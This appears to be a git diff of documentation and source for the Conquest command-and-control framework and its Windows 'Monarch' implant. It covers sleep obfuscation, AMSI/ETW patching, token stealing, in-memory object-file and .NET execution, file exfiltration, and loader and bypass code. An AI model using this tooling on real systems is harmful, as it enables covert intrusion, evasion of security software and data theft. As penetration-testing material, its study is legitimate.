The **Sessions Table** view, located by default in the top left shows information about agents and the target system they are running on, such as the username, hostname, domain, internal and external IP address, process information and the time since the last heartbeat. By right-clicking the header row, columns can be hidden and shown, as well as reordered and resized.
![Sessions View](../assets/client-1.png)
To interact with an agent, one can either double-click it, or right-click the row and select `Interact`. From this right-click context menu, it is also possible to exit the agent and remove it from the team server database, which is usually done to prevent inactive agents from reappearing after a client restart.
![Session View Context Menu](../assets/client-2.png)
It is also possible to select multiple rows by dragging or holding CTRL/SHIFT and performing actions on all selected rows simultaneously.
## Agent Console
An **Agent Console** is opened in the bottom panel when an agent is interacted with. It features an input field at the bottom where the command can be entered, a large textarea, where output can by selected and copied, as well as a search field for filtering the output. The console input field features tab-autocompletion for commands and supports searching through the command history using the up and down arrow keys.
![Console View](../assets/client-3.png)
![Console Filter](../assets/client-5.png)
Available keyboard shortcuts:
| Shortcut | Action |
| --- | --- |
| CTRL + F | Focuses search input |
| CTRL + A | Highlight all output |
| CTRL + C | Copy selection |
| CTRL + V | Paste clipboard |
## Downloads
The **Downloads** view is hidden by default and can be enabled via the menu bar: `Views -> Loot -> Downloads`. By default, it opens in the bottom panel and displays information about the downloaded files on the left and the contents of the file on the right. The content is fetched from the team server when a loot row is selected for the first time.
![Downloads View](../assets/client-8.png)
Right-clicking a row opens a context menu with two options:
- Download: Download the file to disk
- Remove: Ask the team server to remove the loot item from the database
## Screenshots
Similar to the downloads, the **Screenshots** view is hidden by default and can be enabled by selecting `Views -> Loot -> Screenshots`. A preview of the screenshot is shown directly in the operator client. The ../assets/client can again be downloaded to disk by right-clicking the item and selecting `Download`.
![Screenshots View](../assets/client-9.png)
## Eventlog
The **Eventlog** view is shown by default in the top right and displays general team server events, info messages and errors.
![Eventlog View](../assets/client-7.png)

12
docs/5-LISTENER.md Normal file
View File

@@ -0,0 +1,12 @@
# Listeners <!-- omit from toc -->
Listeners can be started by pressing the **Start Listener** button in the **Listeners** view. This opens the following modal popup.
![Listener Modal](../assets/listener.png)
| Name | Description |
| --- | --- |
| Protocol | Listener type. Currently only `http` listeners are implemented |
| Host (Bind) | IP address or interface that the listener binds to on the team server |
| Port (Bind) | Port that the listeners bind to on the team server |
| Hosts (Callback) | Callback hosts, one per line. The hosts are defined, separated by new-lines, in the format `<ip/domain>:<port>`. If no port is specified, the bind port is used instead. If no callback hosts are defined at all, the bind host and bind port are used.<br>Callback hosts are the endpoints that the `Monarch` agent connects to. If multiple are defined, a random entry of the list of callback hosts is selected for each request.

124
docs/6-AGENT.md Normal file
View File

@@ -0,0 +1,124 @@
# Agents <!-- omit from toc -->
## Contents <!-- omit from toc -->
- [The Monarch](#the-monarch)
- [Sleep settings](#sleep-settings)
- [Sleep Obfuscation](#sleep-obfuscation)
- [Stack Spoofing](#stack-spoofing)
- [Working hours](#working-hours)
- [Kill date](#kill-date)
- [String obfuscation](#string-obfuscation)
- [Evasion](#evasion)
## The Monarch
The `Monarch` agent is Conquest's built-in agent that can be used to command and control Windows targets using a variety of post-exploitation modules. It can be customized using the payload generation modal pop-up, which is opened by pressing the **Generate Payload** button in the **Listeners** view.
![Agent Modal](../assets/agent-1.png)
When the `Monarch` is built, it is embedded with a large placeholder field that is then patched with the agent configuration, such as the listener information, sleep settings, C2 profile and team server's public key. The agent generation modal has numerous settings, which are explained below and in subsequent sections.
| Setting | Type | Description |
| --- | --- | --- |
| Listener | Dropdown selection | ID of the listener the agent with be configured to connect to. |
| Verbose | Boolean | Enable/Disable verbose mode. When this checkbox is checked, the agent prints debug messages in the console. |
| Modules | Dual list selection | Select the modules that are to be built into the agent. Highlighting a module shows a brief description and the included commands. More on modules can be found [here](./7-MODULES.md). |
The build log shows the state of the agent build process. When the build is finished, a file dialog is opened on the client that prompts the operator to choose where to save the `Monarch` executable.
## Sleep settings
Aside from the general settings explained above, a major aspect of the `Monarch` agent is the ability to configure the sleep settings.
| Setting | Type | Description |
| --- | --- | --- |
| Sleep delay | Integer | Sleep delay between heartbeat requests in seconds. |
| Jitter | Integer (0-100) | Sleep jitter in %. For example, if a sleep delay of 10 seconds and a jitter of 50% is configured, the final sleep delay can be anything between 5 and 15 seconds. |
| Sleep mask | Dropdown | Sleep obfuscation technique to use. Available options are `EKKO`, `ZILEAN`, `FOLIAGE` and `NONE` (default). |
| Stack spoofing | Boolean | When enabled, the agent performs call spoofs the call stack during while sleeping using stack duplication. This setting is only available for the sleep obfuscation techniques `EKKO` and `ZILEAN`. |
| Working hours | Configuration | Timeframe, within which the agent sends heartbeat messages.
![Verbose agent output showing sleep settings](../assets/agent-3.png)
### Sleep Obfuscation
When configured, sleep obfuscation is used by the `Monarch` agent to hide itself from memory scanners in between heartbeat requests. In general, sleep obfuscation, also called sleepmask, is a technique that allows a C2 agent to encrypt it's own memory before a sleep cycle, delay the execution and then decrypt itself to make a request again.
When the agent doesn't use sleep obfuscation, or when the sleep delay is over, the memory looks as follows:
![Unencrypted memory](../assets/agent-4.png)
However, while the agent is asleep, the memory is encrypted using `SystemFunction32` with a random RC4 encryption key.
![Encrypted memory](../assets/agent-5.png)
Conquest supports the following sleep obfuscation techniques:
| Sleep obfuscation technique | Description |
| --- | --- |
| NONE | Uses a regular `Sleep` call for the delay. Does not encrypt agent memory. |
| EKKO | Ekko sleep obfuscation by C5pider based on the implementation shown in Maldev Academy. Uses `RtlCreateTimer` to perform sleep obfuscation. |
| ZILEAN | Zilean sleep obfuscation by C5pider. Similar to Ekko, but uses `RtlRegisterWait` instead. |
| FOLIAGE | Foliage sleep obfuscation based on Asynchronous Procedure Calls. |
#### Stack Spoofing
Without stack spoofing, the thread stack of the agent process displays the call to `NtSignalAndWaitForSingleObject`, which is the API responsible for the delay.
![Stack not spoofed](../assets/agent-6.png)
With stack spoofing enabled, the call stack of another thread is duplicated to hide these suspicious function calls.
![Spoofed stack](../assets/agent-7.png)
### Working hours
Working hours can be enabled and configured by checking the checkbox and clicking **Configure** in the agent generation modal. It is possible to select a start and end time in the HH:mm format. Within working hours, an agent sends requests to the team server as expected. When the agent detects that it is outside of working hours however, it calculates the sleep delay needed to reach the next workday (e.g. 09:00 the following day) and sleeps until then. This provides more operational security, because no network traffic is sent at unreasonable times.
Working hours considers the **local** system time to determine if the agent is within working hours.
![Working Hours Modal](../assets/agent-2.png)
## Kill date
The agent kill date can be configured by checking the checkbox and clicking **Configure** in the agent generation modal to have an agent process terminate when a specific date/time is reached. For instance, it can be set to the end date and time of a penetration test to prevent the testers from interacting with implants after the test has ended.
Kill date uses **UTC** time.
![Kill Date Modal](../assets/agent.png)
## String obfuscation
Compile-time string obfuscation is implemented using Nim's extensive macro and meta-programming system. Static strings, such as the keys to profile settings are XOR-ed at compile time with a randomized key so they don't show up in binary, when using the `strings` command for instance.
```nim
# Compile-time string encryption using simple XOR
# This is done to hide sensitive strings, such as C2 profile settings in the binary
# https://github.com/S3cur3Th1sSh1t/nim-strenc/blob/main/src/strenc.nim
proc calculate(str: string, key: int): string {.noinline.} =
var k = key
var bytes = string.toBytes(str)
for i in 0 ..< bytes.len:
for f in [0, 8, 16, 24]:
bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF)
k = k +% 1
return Bytes.toString(bytes)
# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result
var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF
macro protect*(str: untyped): untyped =
var encStr = calculate($str, key)
result = quote do:
calculate(`encStr`, `key`)
# Alternate the XOR key using the FNV prime (1677619)
key = (key *% 1677619) and 0x7FFFFFFF
```
String obfuscation is not enabled for debug messages when using verbose mode.
## Evasion
While the `Monarch` offers some evasive functionality, such as sleep and string obfuscation and more, it was not specifically designed to be as evasive as possible. It is not guaranteed or even expected that the payload evades all AV/EDR software, as it has not been developed with that capability as a priority. Evasiveness and operational security are the responsibilities of the operator, not the author of this framework.

445
docs/7-MODULES.md Normal file
View File

@@ -0,0 +1,445 @@
# Modules <!-- omit from toc -->
## Contents <!-- omit from toc -->
- [Overview](#overview)
- [EXIT](#exit)
- [exit](#exit-1)
- [self-destruct](#self-destruct)
- [SLEEP](#sleep)
- [sleep](#sleep-1)
- [sleepmask](#sleepmask)
- [SHELL](#shell)
- [shell](#shell-1)
- [BOF](#bof)
- [bof](#bof-1)
- [DOTNET](#dotnet)
- [dotnet](#dotnet-1)
- [FILESYSTEM](#filesystem)
- [pwd](#pwd)
- [cd](#cd)
- [ls](#ls)
- [rm](#rm)
- [rmdir](#rmdir)
- [move](#move)
- [copy](#copy)
- [FILETRANSFER](#filetransfer)
- [download](#download)
- [upload](#upload)
- [SCREENSHOT](#screenshot)
- [screenshot](#screenshot-1)
- [SYSTEMINFO](#systeminfo)
- [ps](#ps)
- [env](#env)
- [TOKEN](#token)
- [make-token](#make-token)
- [steal-token](#steal-token)
- [rev2self](#rev2self)
- [token-info](#token-info)
- [enable-privilege](#enable-privilege)
- [disable-privilege](#disable-privilege)
## Overview
Modules are bundles of agent commands that can be embedded into the executable when configuring and building the `Monarch` agent. Currently, the following commands are available when all modules are activated.
```
* exit Exit the agent.
* self-destruct Exit the agent and delete the executable from disk.
* sleep Update sleep delay settings.
* sleepmask Update sleepmask settings.
* shell Execute a shell command and retrieve the output.
* bof Execute an object file in memory and retrieve the output.
* dotnet Execute a .NET assembly in memory and retrieve the output.
* pwd Retrieve current working directory.
* cd Change current working directory.
* ls List files and directories.
* rm Remove a file.
* rmdir Remove a directory.
* move Move a file or directory.
* copy Copy a file or directory.
* download Download a file.
* upload Upload a file.
* screenshot Take a screenshot of the target system.
* ps Display running processes.
* env Display environment variables.
* make-token Create an access token from username and password.
* steal-token Steal the primary access token of a remote process.
* rev2self Revert to original access token.
* token-info Retrieve information about the current access token.
* enable-privilege Enable a token privilege.
* disable-privilege Disable a token privilege.
```
## EXIT
Though not necessarily a module that can be enabled via the payload builder, the `exit` module exposes two commands that are built into the agent by default.
### exit
Terminate the agent process or thread. This command is also invoked when the agent is exited from the UI.
```
Usage : exit [type]
Example : exit process
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* type STRING NO Available options: PROCESS/THREAD. Default: PROCESS.
```
### self-destruct
Terminate the agent process and delete the agent executable from disk.
```
Usage : self-destruct
Example : self-destruct
```
## SLEEP
The `sleep` module is used to change sleep settings dynamically on the agent.
### sleep
Update sleep delay.
```
Usage : sleep <delay>
Example : sleep 5
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* delay INT YES Delay in seconds.
```
### sleepmask
Update sleepmask/sleep obfuscation settings. Executing without arguments retrieves the current sleepmask settings and prints them in the agent console.
```
Usage : sleepmask [technique] [spoof]
Example : sleepmask ekko true
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* technique STRING NO Sleep obfuscation technique (NONE, EKKO, ZILEAN, FOLIAGE).
* spoof BOOL NO Use stack spoofing to obfuscate the call stack.
```
![Sleepmask command](../assets/modules-1.png)
## SHELL
The `shell` module is a simple module for executing shell commands using Nim's `execCmdEx` function. Double-quoted strings are parsed as a single argument.
### shell
Execute a shell command and retrieve the output
```
Usage : shell <command> [arguments]
Example : shell whoami /all
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* command STRING YES Command to be executed.
* arguments STRING NO Arguments to be passed to the command.
```
![Shell command](../assets/modules.png)
## BOF
The `bof` module provides an effective BOF/COFF loader that can be used to execute beacon object files (*.o) in-memory. The object file is read from disk on the operator client and sent to the agent as part of the task data.
### bof
Execute an object file in memory and retrieve the output.
```
Usage : bof <path> [arguments]
Example : bof /path/to/dir.x64.o C:\Users
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* path BINARY YES Path to the object file to execute.
* arguments STRING NO Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix
```
![Bof whoami](../assets/modules-2.png)
Arguments are handled as STRING by default, but some BOFs expect other types. Prefixes can be used to tell the BOF loader how to process the passed argument.
| Prefix | Type |
| --- | --- |
| `[i]:` | Integer |
| `[w]:` | Wide String |
| `[s]:` | Short |
![Bof cat (with prefix)](../assets/modules-3.png)
## DOTNET
The `dotnet` module executes a .NET assembly in memory using the CLR. As with object files, the .NET assembly is read from the operator desktop. In order to prevent security software from blocking the execution, this module patches AMSI and ETW using hardware breakpoints.
### dotnet
Execute a .NET assembly in memory and retrieve the output.
```
Usage : dotnet <path> [arguments]
Example : dotnet /path/to/Seatbelt.exe antivirus
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* path BINARY YES Path to the .NET assembly file to execute.
* arguments STRING NO Arguments to be passed to the assembly. Arguments are handled as STRING
```
![Dotnet command](../assets/modules-4.png)
## FILESYSTEM
The `filesystem` module features basic commands that have been implemented using the Windows API for interacting with the file system. Supports quoted arguments.
### pwd
Retrieve current working directory.
```
Usage : pwd
Example : pwd
```
### cd
Change current working directory.
```
Usage : cd <directory>
Example : cd C:\Windows\Tasks
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* directory STRING YES Relative or absolute path of the directory to change to.
```
### ls
List files and directories.
```
Usage : ls [directory]
Example : ls C:\Users\Administrator\Desktop
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* directory STRING NO Relative or absolute path. Default: current working directory.
```
### rm
Remove a file.
```
Usage : rm <file>
Example : rm C:\Windows\Tasks\payload.exe
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* file STRING YES Relative or absolute path to the file to delete.
```
### rmdir
Remove a directory.
```
Usage : rmdir <directory>
Example : rm C:\Payloads
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* directory STRING YES Relative or absolute path to the directory to delete.
```
### move
Move a file or directory.
```
Usage : move <source> <destination>
Example : move source.exe C:\Windows\Tasks\destination.exe
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* source STRING YES Source file path.
* destination STRING YES Destination file path.
```
### copy
Copy a file or directory.
```
Usage : copy <source> <destination>
Example : copy source.exe C:\Windows\Tasks\destination.exe
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* source STRING YES Source file path.
* destination STRING YES Destination file path.
```
## FILETRANSFER
The `filetransfer` module is used to transfer files from and to the target system.
### download
Download a file to the team server.
```
Usage : download <file>
Example : download C:\Users\john\Documents\Database.kdbx
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* file STRING YES Path to file to download from the target machine.
```
### upload
Upload a file from the operator Desktop to the targe system.
```
Usage : upload <file>
Example : upload /path/to/payload.exe
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* file BINARY YES Path to file to upload to the target machine.
```
## SCREENSHOT
The `screenshot` module can be used to capture a screenshot of all monitors of the system the agent is running on.
### screenshot
Take a screenshot of the target system.
```
Usage : screenshot
Example : screenshot
```
## SYSTEMINFO
Use the `systeminfo` module to query basic information, such as running processes and environment variables.
### ps
Display running processes.
```
Usage : ps
Example : ps
```
### env
Display environment variables.
```
Usage : env
Example : env
```
## TOKEN
The `token` module can be used to manipulate Windows access tokens and privileges.
### make-token
Create an access token from username and password.
```
Usage : make-token <domain\username> <password> [logonType]
Example : make-token LAB\john Password123!
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* domain\username STRING YES Account domain and username. For impersonating local users, use .\username.
* password STRING YES Account password.
* logonType INT NO Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types).
```
By default, the logon type is set to 9 - NewCredentials, which is also the default for frameworks like Cobalt Strike. The credentials are hereby not validated, making it possible to create a new logon session as a target user without knowing the password and injecting a valid Kerberos ticket into the session to impersonate them. Alternatively, these are the logon types that can be used. Most of the time, logon type 9 will be the best option, though in some cases it might be useful to impersonate a local user with logon type 2.
| Logon type | # | Examples |
|------------|---|----------|
| Interactive (also known as, Logon locally) | 2 | Console logon;<br>RUNAS;<br>Hardware remote control solutions (such as Network KVM or Remote Access / Lights-Out Card in server)<br>IIS Basic Auth (before IIS 6.0) |
| Network | 3 | NET USE;<br>RPC calls;<br>Remote registry;<br>IIS integrated Windows auth;<br>SQL Windows auth; |
| Batch | 4 | Scheduled tasks |
| Service | 5 | Windows services |
| NetworkCleartext | 8 | IIS Basic Auth (IIS 6.0 and newer);<br>Windows PowerShell with CredSSP |
| NewCredentials | 9 | RUNAS /NETWORK |
| RemoteInteractive | 10 | Remote Desktop (formerly known as "Terminal Services") |
This command can be executed from a `Monarch` running in a **medium-integrity** (non-elevated) process. After creating a token from the username and password, the `make-token` command also impersonates it immediately. The current impersonation is displayed in the **Username** column of the **Sessions** view.
![Token make](../assets/modules-5.png)
### steal-token
Steal the primary access token of a remote process.
```
Usage : steal-token <pid>
Example : steal-token 1234
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* pid INT YES Process ID of the target process.
```
The `steal-token` command requires the `Monarch` to be in an elevated process with a **high mandatory level**. By passing the target PID, it is possible to impersonate `NT AUTHORITY\SYSTEM` or other users.
In the screenshot below, the PID belongs to the `winlogon.exe` process, which is running as `NT AUTHORITY\SYSTEM`.
![Token steal](../assets/modules-6.png)
### rev2self
Stop impersonating and revert to original access token.
```
Usage : rev2self
Example : rev2self
```
### token-info
Retrieve information about the current access token, such as token type, elevation, the user the token belongs to, group memberships and token privileges.
```
Usage : token-info
Example : token-info
```
![Token info](../assets/modules-7.png)
### enable-privilege
Enable a token privilege.
```
Usage : enable-privilege <privilege>
Example : enable-privilege SeImpersonatePrivilege
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* privilege STRING YES Privilege to enable.
```
![Enable priv](../assets/modules-8.png)
### disable-privilege
Disable a token privilege.
```
Usage : disable-privilege <privilege>
Example : disable-privilege SeImpersonatePrivilege
Arguments:
Name Type Required Description
--------------- ------ -------- --------------------
* privilege STRING YES Privilege to disable.
```
![Disable priv](../assets/modules-9.png)

View File

@@ -1,45 +0,0 @@
# "Monarch" Agent commands:
House-keeping
-------------
- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
Basic API-only Commands
-----------------------
- [x] pwd : Get current working directory
- [x] cd : Change directory
- [x] ls/dir : List all files in directory (including hidden ones)
- [x] rm : Remove a file
- [x] rmdir : Remove a empty directory
- [x] mv : Move a file
- [x] cp : Copy a file
- [ ] cat/type : Display contents of a file
- [x] env : Display environment variables
- [x] ps : List processes
- [ ] whoami : Get UID and privileges, etc.
- [ ] token : Token impersonation
- [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser)
- [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser)
- [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike
- [ ] rev2self : Revert to original logon session (RevertToSelf)
Execution Commands
------------------
- [x] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
- [x] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
- Read from listener endpoint directly to memory
- Base for all kinds of BOFs (Situational Awareness, ...)
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
- [x] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
Post-Exploitation
-----------------
- [x] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
- File to be downloaded moved to specific endpoint on listener, e.g. GET /<listener>/<agent>/<upload-task>/file
- Read from webserver and written to disk
- [x] download : Download file from agent to teamserver
- Create loot directory for agent to store files in
- Read file into memory and send byte stream to specific endpoint, e.g. POST /<listener>/<agent>/<download>-task/file
- Encrypt file in-transit!!!
- [x] screenshot : Take a screenshot of the entire desktop and all monitors

View File

@@ -1,29 +0,0 @@
# Installation Guide
1. Clone the Conquest repository
```
git clone https://github.com/jakobfriedl/conquest
cd conquest
```
2. Install Nim
```bash
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
```
3. Install Nimble dependencies
```
nimble install -d
```
4. Build conquest binaries
```
nimble server
```
5. Start the Conquest server with a C2 Profile
```
./bin/server -p ./data/profile.toml
```

9
docs/README.md Normal file
View File

@@ -0,0 +1,9 @@
# Documentation
1. [Installation](./1-INSTALLATION.md)
2. [Architecture & Specification](./2-ARCHITECTURE.md)
3. [C2 Profiles](./3-PROFILE.md)
4. [Operator Client](./4-CLIENT.md)
5. [Listeners](./5-LISTENER.md)
6. [Monarch Agent](./6-AGENT.md)
7. [Modules and Commands](./7-MODULES.md)

View File

@@ -1,7 +0,0 @@
# Conquest Agents
The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use:
```
./build.sh
```

View File

@@ -1,7 +1,7 @@
import winim/[lean, clr]
import os, strformat, strutils, sequtils
import ./hwbp
import ../../common/[types, utils]
import os
import ../utils/[hwbp, io]
import ../../common/utils
#[
Executing .NET assemblies in memory
@@ -19,14 +19,14 @@ import ../../common/[types, utils]
proc amsiPatch(pThreadCtx: PCONTEXT) =
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
SETPARAM_6(pThreadCtx, cast[PULONG](0))
echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
print " [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN"
CONTINUE_EXECUTION(pThreadCtx)
proc etwPatch(pThreadCtx: PCONTEXT) =
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
pThreadCtx.Rsp += sizeof(PVOID)
pThreadCtx.Rax = STATUS_SUCCESS
echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
print " [+] Return value of NtTraceEvent set to STATUS_SUCCESS"
CONTINUE_EXECUTION(pThreadCtx)
#[

View File

@@ -1,6 +1,6 @@
import winim/lean
import os, strformat, strutils, ptr_math
import ./beacon
import ../utils/[beacon, io]
import ../../common/[types, utils, serialize]
#[
@@ -88,7 +88,7 @@ proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
# Check if symbol starts with `__ipm_` (imported functions)
if ($symbol).startsWith("__imp_"):
length += ULONG(sizeof(PVOID))
# echo $symbol
# print $symbol
# Handle next relocation item/symbol
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
@@ -149,14 +149,14 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
if hModule == 0:
hModule = LoadLibraryA(library)
if hModule == 0:
raise newException(CatchableError, fmt"Library {$library} not found.")
raise newException(CatchableError, GetLastError().getError())
# Resolve the function from the loaded library
resolved = GetProcAddress(hModule, function)
if resolved == NULL:
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
raise newException(CatchableError, GetLastError().getError())
echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
@@ -295,7 +295,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
# Change the memory protection from [RW-] to [R-X]
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
# Execute BOF entry point
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
@@ -307,7 +307,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
# Revert the memory protection change
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
return true
@@ -332,45 +332,45 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
var pObject = addr objectFile[0]
if pObject == NULL or entryFunction == NULL:
raise newException(CatchableError, "Arguments pObject and entryFunction are required.")
raise newException(CatchableError, protect("Missing required arguments."))
# Parsing the object file's file header, symbol table and sections
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
# echo objCtx.union.header.repr
# echo objCtx.symTbl.repr
# echo objCtx.sections.repr
# print objCtx.union.header.repr
# print objCtx.symTbl.repr
# print objCtx.sections.repr
# Verifying that the object file's architecture is x64
when defined(amd64):
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Only x64 object files are supported")
raise newException(CatchableError, protect("Only x64 object files are supported."))
else:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Only x64 object files are supported")
raise newException(CatchableError, protect("Only x64 object files are supported."))
# Calculate required virtual memory
virtSize = objectVirtualSize(addr objCtx)
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
print fmt"[*] Virtual size of object file: {virtSize} bytes"
# Allocate memory
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
if virtAddr == NULL:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
# Allocate heap memory to store section map array
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
if objCtx.secMap == NULL:
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
# Set the section base to the allocated memory
secBase = virtAddr
@@ -380,7 +380,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
echo "[*] Copying over sections."
print "[*] Copying over sections."
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
secSize = sections[i].SizeOfRawData
secMap[i].size = secSize
@@ -388,7 +388,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# Copy over section data
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
print fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
# Get the next page entry
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
@@ -396,17 +396,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# The last page of the memory is the symbol/function map
objCtx.symMap = cast[ptr PVOID](secBase)
echo "[*] Processing sections and performing relocations."
print "[*] Processing sections and performing relocations."
if not objectProcessSection(addr objCtx):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Failed to process sections.")
raise newException(CatchableError, protect("Failed to process sections."))
# Executing the object file
echo "[*] Executing."
print "[*] Executing."
if not objectExecute(addr objCtx, entryFunction, args):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
echo "[+] Object file executed successfully."
print "[+] Object file executed successfully."
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
@@ -449,7 +449,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
prefix = Bytes.toString(arg.data)[0..3]
value = Bytes.toString(arg.data)[4..^1]
# Check the first two characters for a type specification
# Check the prefix for a type specification
case prefix:
of protect("[i]:"):
# Handle argument as integer
@@ -465,8 +465,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
# Handle argument as wide string
# Add terminating NULL byte to the end of string arguments
let wStrData = cast[seq[byte]](+$value) # +$ converts a string to a wstring
packer.add(uint32(wStrData.len()))
packer.addData(wStrData)
packer.addDataWithLengthPrefix(wStrData)
else:
# In case no prefix is specified, handle the argument as a regular string
@@ -476,8 +475,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
# Handle argument as regular string
# Add terminating NULL byte to the end of string arguments
let data = arg.data & @[uint8(0)]
packer.add(uint32(data.len()))
packer.addData(data)
packer.addDataWithLengthPrefix(data)
else:
# Argument is not passed as a string, but instead directly as a int or short

View File

@@ -1,4 +1,5 @@
import parsetoml, base64, system
import parsetoml, system
import ../utils/io
import ../../common/[types, utils, crypto, serialize]
const CONFIGURATION {.strdefine.}: string = ""
@@ -27,19 +28,30 @@ proc deserializeConfiguration(config: string): AgentCtx =
var ctx = AgentCtx(
agentId: generateUUID(),
listenerId: Uuid.toString(unpacker.getUint32()),
ip: unpacker.getDataWithLengthPrefix(),
port: int(unpacker.getUint32()),
sleep: int(unpacker.getUint32()),
hosts: unpacker.getDataWithLengthPrefix(),
sleepSettings: SleepSettings(
sleepDelay: unpacker.getUint32(),
jitter: unpacker.getUint32(),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8()),
workingHours: WorkingHours(
enabled: cast[bool](unpacker.getUint8()),
startHour: cast[int32](unpacker.getUint32()),
startMinute: cast[int32](unpacker.getUint32()),
endHour: cast[int32](unpacker.getUint32()),
endMinute: cast[int32](unpacker.getUint32())
)
),
killDate: cast[int64](unpacker.getUint64()),
